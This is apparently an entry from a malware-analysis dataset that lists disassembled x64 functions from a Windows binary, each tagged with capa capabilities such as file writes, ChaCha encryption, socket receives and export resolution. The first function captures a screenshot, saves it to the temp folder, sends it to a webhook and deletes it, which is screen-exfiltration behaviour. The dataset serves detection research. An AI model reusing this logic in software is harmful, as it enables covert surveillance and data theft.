joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009980
Capabilities:
Delete file
Get common file path

Disassembly:
push rsi
push rdi
sub rsp, 0x338
mov rax, qword [0x1401af080]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x90]
call fcn.1400076d0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.140015b30
nop
lea rcx, [rsp + 0x90]
call fcn.14000d0a0
nop
lea rcx, [0x1401c2b90]
call fcn.14017b520
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf8]
call fcn.140004ce0
xor r8d, r8d
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
lea rdx, [rsp + 0x110]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rax, [rsp + 0x110]
mov qword [rsp + 0x28], rax
sub qword [rsp + 0x28], 2
add qword [rsp + 0x28], 2
mov rax, qword [rsp + 0x28]
cmp word [rax], 0
jne 0x140009a4c
mov rax, qword [rsp + 0x28]
lea rcx, str.screenshot.png
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_30
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x110]
call fcn.140009000
nop
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x58], rax
lea rdx, [0x140196b00]
mov rcx, qword [rsp + 0x58]
call fcn.14000d1a0
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x60]
lea rdx, [rsp + 0xd8]
lea rcx, [0x1401c2b90]
call fcn.1401803b0
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x70]
call fcn.14000caf0
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xd8]
call fcn.140009230
movzx eax, al
test eax, eax
jne 0x140009af7
mov dword [rsp + 0x30], 1
jmp 0x140009aff
mov dword [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x70]
call fcn.14000ca40
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x140009b46
lea rdx, str.Failed_to_send_webhook.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140015750
mov qword [rsp + 0x68], rax
lea rdx, [0x140015b80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0xd8]
call fcn.140009680
call fcn.140008df0
call fcn.140006ad0
nop
mov dword [rsp + 0x34], 0
lea rcx, [rsp + 0xd8]
call fcn.14000d0a0
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1401823c0
add rsp, 0x338
pop rdi
pop rsi
ret
Function at 0x14000acc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x14000acf9
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14000ade8
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x14000ad90
cmp qword [rsp + 0x20], 0
jle 0x14000ad90
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x14000ad39
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140011910
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rsp + 0x50], 0
jle 0x14000add8
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x14000add8
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x14000adf0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x1401af080]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x14000ae24
xor eax, eax
jmp 0x14000b021
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x14000ae56
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x14000b021
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x14000af08
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.14000b040
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140011910
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
nop
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x14000b011
mov rcx, qword [rsp + 0x80]
call fcn.14000f620
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x14000afbe
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x14000afb9
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x14000b021
jmp 0x14000af34
cmp qword [rsp + 0x50], 0
jbe 0x14000b011
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401823c0
add rsp, 0x78
ret
Function at 0x14000f6e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x1401af080]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14000f71d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14000f724
mov al, 1
jmp 0x14000f87c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000d3e0
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000d3e0
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.1400117e0
movzx eax, al
test eax, eax
je 0x14000f779
xor al, al
jmp 0x14000f87c
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000f7e9
cmp dword [rsp + 0x30], 1
je 0x14000f7f5
cmp dword [rsp + 0x30], 3
je 0x14000f86a
jmp 0x14000f87a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x14000f841
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x14000f841
xor al, al
jmp 0x14000f87c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14000f85b
mov dword [rsp + 0x34], 1
jmp 0x14000f863
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14000f87c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14000f87c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1401823c0
add rsp, 0xa8
ret
Function at 0x14002fb00
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call fcn.14010d6b0
test eax, eax
je 0x14002fb27
jmp 0x14002fd56
mov ecx, 5
call fcn.1400299d0
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.140029a30
cmp dword [rsp + 0x60], 0
jle 0x14002fb4f
cmp qword [rsp + 0x68], 0
jne 0x14002fb76
mov eax, 4
imul rax, rax, 0
lea rcx, [0x1401cb210]
mov dword [rcx + rax], 0
mov rcx, qword [rsp + 0x28]
call fcn.140029a90
nop
jmp 0x14002fd56
mov eax, 4
imul rax, rax, 0
lea rcx, [0x1401cb210]
cmp dword [rcx + rax], 0
jne 0x14002fc5a
xor ecx, ecx
call fcn.140029470
mov qword [rsp + 0x30], rax
mov eax, 4
imul rax, rax, 0
lea rcx, [0x1401cb210]
lea rdx, str.expand_32_byte_k
lea rdi, [rcx + rax]
mov rsi, rdx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x30], 0
jne 0x14002fbed
mov eax, 4
imul rax, rax, 4
lea rcx, [0x1401cb210]
add rcx, rax
mov rax, rcx
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_46
rep stosb byte [rdi], al
jmp 0x14002fc16
mov eax, 4
imul rax, rax, 4
lea rcx, [0x1401cb210]
add rcx, rax
mov rax, rcx
mov r8, rax
mov edx, Ordinal_46
mov rcx, qword [rsp + 0x30]
call fcn.1400291b0
nop
mov eax, 4
imul rax, rax, 0xc
lea rcx, [0x1401cb210]
mov edx, 4
imul rdx, rdx, 0xf
lea rdi, [0x1401cb210]
mov eax, dword [rcx + rax]
mov dword [rdi + rdx], eax
mov eax, 4
imul rax, rax, 0xc
lea rcx, [0x1401cb210]
mov dword [rcx + rax], 0
mov byte [0x1401cb290], 0
xor eax, eax
cmp eax, 1
je 0x14002fd4b
movzx eax, byte [0x1401cb290]
cmp dword [rsp + 0x60], eax
jg 0x14002fcb5
movsxd rax, dword [rsp + 0x60]
movzx ecx, byte [0x1401cb290]
sub ecx, dword [rsp + 0x60]
movsxd rcx, ecx
lea rdx, [0x1401cb250]
add rdx, rcx
mov rcx, rdx
mov rdi, qword [rsp + 0x20]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1401cb290]
sub eax, dword [rsp + 0x60]
mov byte [0x1401cb290], al
jmp 0x14002fd4b
movzx eax, byte [0x1401cb290]
test eax, eax
jle 0x14002fd04
movzx eax, byte [0x1401cb290]
lea rcx, [0x1401cb250]
mov rdi, qword [rsp + 0x20]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1401cb290]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
movzx eax, byte [0x1401cb290]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov eax, 4
imul rax, rax, 0xc
lea rcx, [0x1401cb210]
mov eax, dword [rcx + rax]
inc eax
mov ecx, 4
imul rcx, rcx, 0xc
lea rdx, [0x1401cb210]
mov dword [rdx + rcx], eax
lea rdx, [0x1401cb210]
lea rcx, [0x1401cb250]
call fcn.14002ea70
mov byte [0x1401cb290], 0x40
jmp 0x14002fc5a
mov rcx, qword [rsp + 0x28]
call fcn.140029a90
nop
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x14002fe00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rax, qword [rsp + 0x50]
mov qword [rax], 0
mov ecx, Ordinal_41
call fcn.14002a1e0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14002fe41
mov eax, 7
jmp 0x14002ff0e
movzx eax, byte [reloc.WS2_32.dll_accept]
test eax, eax
je 0x14002fe5a
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call fcn.140031020
test eax, eax
je 0x14002fe6a
mov rdi, qword [rsp + 0x30]
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
jmp 0x14002fed3
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x30]
add rax, 8
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x30]
lea r8, [0x14002fdc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
jne 0x14002fed3
mov rdi, qword [rsp + 0x30]
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x30]
cmp qword [rax + 0x10], 0
jne 0x14002feff
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 8], eax
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
xor eax, eax
add rsp, 0x40
pop rdi
ret
Function at 0x14004cf30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x1401af080]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x38], 0
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x58]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x14004cf8f
mov rax, qword [rsp + 0x80]
movsx eax, word [rax + 0x3c]
test eax, eax
jne 0x14004cfa4
mov rax, qword [rsp + 0x80]
movzx eax, byte [rax + 0x46]
test eax, eax
jne 0x14004cfa4
mov rax, qword [rsp + 0x90]
mov dword [rax], 0
xor eax, eax
jmp 0x14004d0fe
mov rax, qword [rsp + 0x80]
mov ecx, dword [rax + 0x78]
call fcn.140049eb0
mov dword [rsp + 0x40], eax
mov ecx, dword [rsp + 0x24]
call fcn.140049eb0
mov dword [rsp + 0x20], eax
jmp 0x14004cfd1
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x20], eax
jl 0x14004d0ee
lea r8, [rsp + 0x48]
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call fcn.140049df0
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
je 0x14004d009
mov eax, dword [rsp + 0x3c]
jmp 0x14004d0fe
mov dword [rsp + 0x30], 0x2000
mov ecx, dword [rsp + 0x88]
call fcn.140049dc0
mov dword [rsp + 0x34], eax
mov rcx, qword [rsp + 0x80]
call fcn.140048fb0
nop
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax*2]
movzx eax, ax
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x14004d0e0
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x2c], eax
ja 0x14004d09b
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x78]
cmp dword [rsp + 0x2c], eax
jb 0x14004d09b
mov eax, dword [rsp + 0x28]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
cmp eax, dword [rsp + 0x88]
jne 0x14004d09b
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x30]
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x44], 0
jne 0x14004d0ce
mov rax, qword [rsp + 0x90]
mov dword [rax], 0
mov ecx, 0x10b74
call fcn.140112a10
jmp 0x14004d0fe
mov ecx, dword [rsp + 0x34]
call fcn.140049de0
mov dword [rsp + 0x34], eax
jmp 0x14004d02f
cmp dword [rsp + 0x38], 0
je 0x14004d0e9
jmp 0x14004d0ee
jmp 0x14004cfc7
mov rax, qword [rsp + 0x90]
mov ecx, dword [rsp + 0x38]
mov dword [rax], ecx
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401823c0
add rsp, 0x78
ret
Function at 0x140098900
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov byte [rax + 0x1c], 1
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0x58]
lea rdx, str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
mov rcx, qword [rsp + 0x50]
call fcn.1400a19c0
cmp dword [rsp + 0x60], 0
jne 0x140098981
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x58]
lea rdx, str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
mov rcx, qword [rsp + 0x50]
call fcn.1400a19c0
nop
add rsp, 0x48
ret
Function at 0x140135b70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x140135bce
mov dl, 1
call fcn.140126590
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.140126590
mov eax, ebx
jmp 0x140135c12
cmp ebx, 2
ja 0x140135c10
mov r9, qword [rdi + 0x668]
lea rdx, [0x14018afc8]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140135c30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x1401af080]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x140135c73
cmp qword [rcx + 0x678], 0
je 0x140135d50
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.140139290
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140135ca1
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x140135ce8
cmp byte [rdi + 0x1597], 0
jne 0x140135ce8
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140135cd0
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x140135d48
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x140135da3
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x140135d69
mov dl, 1
mov rcx, rdi
call fcn.140126590
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.140126590
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1401823c0
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x14018afc8]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140135d48
call fcn.140182870
int3
Function at 0x140135db0
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x140135f16
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rdi
sub rsp, 0x860
mov rax, qword [0x1401af080]
xor rax, rsp
mov qword [rsp + 0x840], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
je 0x140135efe
mov r8, rdx
mov qword [r11 - 0x10], rbx
mov edx, 0x801
lea r9, [r11 + 0x18]
lea rcx, [rsp + 0x30]
call fcn.140139290
movsxd rcx, eax
mov rbx, 0xffffffffffffffff
cmp rcx, 0x801
jb 0x140135e71
mov rcx, qword [rsp + 0x878]
mov rax, rbx
nop word [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140135e30
cmp byte [rax + rcx - 1], 0xa
jne 0x140135e58
lea r8, str...._n
mov edx, 5
lea rcx, [rsp + 0x82c]
jmp 0x140135e6c
lea r8, [0x14018afe8]
mov edx, 4
lea rcx, [rsp + 0x82d]
call fcn.140139190
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140135e76
cmp qword [rdi + 0x718], 0
je 0x140135ebe
mov dl, 1
mov rcx, rdi
call fcn.140126590
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.140126590
jmp 0x140135ef6
mov r9, qword [rdi + 0x668]
lea rcx, [0x14018afc8]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1401823c0
add rsp, 0x860
pop rdi
ret

Function at 0x140135fb0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x140135ff2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret